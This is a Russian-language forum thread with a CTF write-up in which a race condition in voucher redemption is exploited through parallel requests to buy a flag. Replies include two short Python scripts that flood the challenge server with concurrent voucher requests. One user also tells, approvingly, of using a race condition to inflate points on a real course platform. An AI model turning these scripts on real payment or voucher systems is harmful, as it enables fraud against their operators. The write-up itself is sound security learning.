ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Antichat - Точка невозврата [Writeup] (https://forum.antichat.xyz/showthread.php?t=1642853)

vov4ick 02.01.2024 22:59

Когда код бежит быстрее, чем мысли программиста.

https://forum.antichat.xyz/attachmen...3dfaf5aef7.png

- Приветствие

- Изучение сайта и сбор информации

- Использование уязвимости

- Заключение

Приветствую всех кто заглянул на огонек, сегодня мы рассмотрим таск "Точка невозврата" из категории Веб antichat.

Изучение сайта и сбор информации.
Первое что мы видим попадая на сайт это форма регистрации:

https://forum.antichat.xyz/attachmen...c2bd026e1b.png

Регистрируемся на сайте и входим в наш личный кабинет:

https://forum.antichat.xyz/attachmen...5c24701c37.png

Здесь мы понимаем что есть баланс и возможность купить флаг. Так же есть форма для отправки ваучера.
Заглядываем в исходный код и видим тестовые ваучеры:

https://forum.antichat.xyz/attachmen...0aea731bca.png

При вводе ваучеров каждый дает 100$, но нам все равно не хватает денег для покупки флага.
Здесь мы будем пробовать 'Race Conditions'. Это распространенный тип уязвимостей, тесно связанный с недостатками бизнес логики .
Они возникают, когда веб-сайты одновременно обрабатывают запросы без адекватных мер безопасности.

Использование уязвимости .
Мы воспользуемся двумя браузерами и одной учетной записью. Отправим один ваучер с одного браузера и сразу же со второго:

https://forum.antichat.xyz/attachmen...a9bcdfe636.png

Здесь мы видим, что при отправке ваучера который должен был дать нам 100$, дал нам 200$.
Ваучер применился дважды, хотя не должен был.

https://forum.antichat.xyz/attachmen...840a4d57fc.png

Вводим оставшиеся ваучеры таким же способом и у нас получается такая картина:

https://forum.antichat.xyz/attachmen...b810b90059.png

Ура! Дальше мы просто нажимаем на кнопку BUY FLAG и покупаем его.

- Заключение

Это произошло из-за того, что при работе с ваучером не были применены механизмы синхронизации доступа к ресурсу (ваучеру), которые бы предотвратили одновременное применение его двумя браузерами в нашем случае. Каждый из браузеров смог пройти проверку (например, проверку на уникальность использования ваучера) и получил денежный бонус, так как сервер не успел обработать информацию об уже использованном ваучере перед обработкой второго запроса.

Довольно интересный вектор атаки, про который не стоит забывать и проверять его при тестировании.
Кто обратил внимание на данную статью и набравший большее количество баланса, отпишите в комментарии.
Будет очень интересно, так же увидеть решение способом через Burp.

До новых встреч!

Paladin 02.01.2024 23:34

Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()

После отработки скрипта, перегружаем страницу.

vov4ick 03.01.2024 01:03

Цитата:


Paladin сказал(а):

Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()после отработки скрипта, перегружаем страницу.


Спасибо за еще один вид решения, обьязательно попробую его!
Была надежда что получится в Burp, там в Repeater есть возможность отправки группового параллельного запроса, но не вышло. Логика немного другая, но все же интересно

Paladin 03.01.2024 01:05

Цитата:


vov4ick сказал(а):

Спасибо за еще один вид решения, обьязательно попробую его!
Была надежда что получится в Burp, там в Repeater есть возможность отправки группового параллельного запроса, но не вышло. Логика немного другая, но все же интересно


Да есть такая опция в новом Burp, но не вышло никак

xuZ00 03.01.2024 13:47

Тоже пробовал через бурп, потом плюнул и написал такой скрипт с использованием многопоточности:

Python:


Код:

import
requests
from
fake_useragent
import
UserAgent
as
ua
from
multiprocessing
import
Process
def
give_me_money
(
vouch
)
:
page
=
requests
.
get
(
f"http://62.173.140.174:16023/index.php?voucherCode={vouch}&uid=963517371812217"
,
headers
=
usr_agt
)
if
__name__
==
'__main__'
:
usr_agt
=
{
'User-Agent'
:
ua
(
)
.
random
}
vouchers
=
[
'PAePaMt'
,
'5mbhxgw'
,
'dRRYa6Y'
]
for
voucher
in
vouchers
:
for
i
in
range
(
10
)
:
Process
(
target
=
give_me_money
,
args
=
(
voucher
,
)
)
.
start
(
)


vov4ick 04.01.2024 19:00

Цитата:


Paladin сказал(а):

Да есть такая опция в новом Burp, но не вышло никак


Это кстати моя первая уязвимость найденная в реальном приложении, с помощью этой техники. В плане группового параллельного запроса. Так что это актуально.

Paladin 04.01.2024 19:09

Цитата:


vov4ick сказал(а):

Это кстати моя первая уязвимость найденная в реальном приложении, с помощью этой техники. В плане группового параллельного запроса. Так что это актуально.


И моя тоже. Я ради этого скачал последнюю версию Burp, где есть этот плагин, но даже он не помог. Как мне сказали с этой ситуацией даже Turbo Intruder будет сложно справиться. А вот скрипт, правда для 2 питона, справился выше всяких похвал. Вообще, интересный момент, когда n1gga нашел Race Condition на сайте курса PRTT от Resolute Attack и накрутил себе баллов, ученики аплодировали стоя, а разрабы еще долго зубами скрипели.

vov4ick 04.01.2024 19:11

Цитата:


Paladin сказал(а):

И моя тоже. Я ради этого скачал последнюю версию Burp, где есть этот плагин, но даже он не помог. Как мне сказали с этой ситуацией даже Turbo Intruder будет сложно справиться. А вот скрипт, правда для 2 питона, справился выше всяких похвал. Вообще, интересный момент, когда n1gga нашел Race Condition на сайте курса PRTT от Resolute Attack и накрутил себе баллов, ученики аплодировали стоя, а разрабы еще долго зубами скрипели.


Не слышал эту историю, но довольно интересно

Paladin 04.01.2024 19:15

Цитата:


vov4ick сказал(а):

Не слышал эту историю, но довольно интересно

Да эту историю никто не слышал. Но было забавно, Мага подтвердит. Они даже статистику обнуляли. В конце нам даже нагадить захотели, но вовремя одумались.

Paladin 04.01.2024 19:23

Цитата:


Paladin сказал(а):

Да эту историю никто не слышал. Но было забавно, Мага подтвердит. Они даже статистику обнуляли. В конце нам даже нагадить захотели, но вовремя одумались.


https://forum.antichat.xyz/attachmen...88895c8e46.png

Их прямо раздражала эта картинка.

vov4ick 04.01.2024 19:30

Цитата:


Paladin сказал(а):

Их прямо раздражала эта картинка.


Забавно, вы сдавали на тот момент там сертификацию?

Paladin 04.01.2024 19:36

Цитата:


vov4ick сказал(а):

Забавно, вы сдавали на тот момент там сертификацию?


Да. В площадке косяки были. Мага же монстр, он не может просто учиться, ему еще и косяки поискать надо. Там долгая истоия , достойная целой статьи, и я хотел ее писать, но не стал этого делать. Если бы нам серты не дали из вредности, точно написал бы.

cherepawwka 05.01.2024 11:37

Цитата:


Paladin сказал(а):

Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()

После отработки скрипта, перегружаем страницу.


Я в своем райтапе писал, почему так.
Всё дело в том, что PHP "из коробки" содержит Session-based locking mechanism (механизм блокировки, основанный на сессиях). Некоторые фрэймворки пытаются предотвратить случайное повреждение данных, используя ту или иную форму блокировки запросов. Так, собственный модуль обработчика сеансов в PHP обрабатывает только один запрос, относящийся к конкретному сеансу, за раз.
В Burp вы, скорее всего, копировали весь запрос и не удаляли сеансовую куку, а в скрипте эта кука никак не фигурирует, отсюда и уязвимость.

azaart 05.01.2024 13:46

Похоже так и есть. Я через бурп сделал. 3 куки получил и по ~10 запросов на одну куку сразу отправил через параллельные запросы бурпа.

vov4ick 05.01.2024 14:12

Цитата:


azaart сказал(а):

Похоже так и есть. Я через бурп сделал. 3 куки получил и по ~10 запросов на одну куку сразу отправил через параллельные запросы бурпа.


интересное решение, стоит его попробовать.


Время: 10:06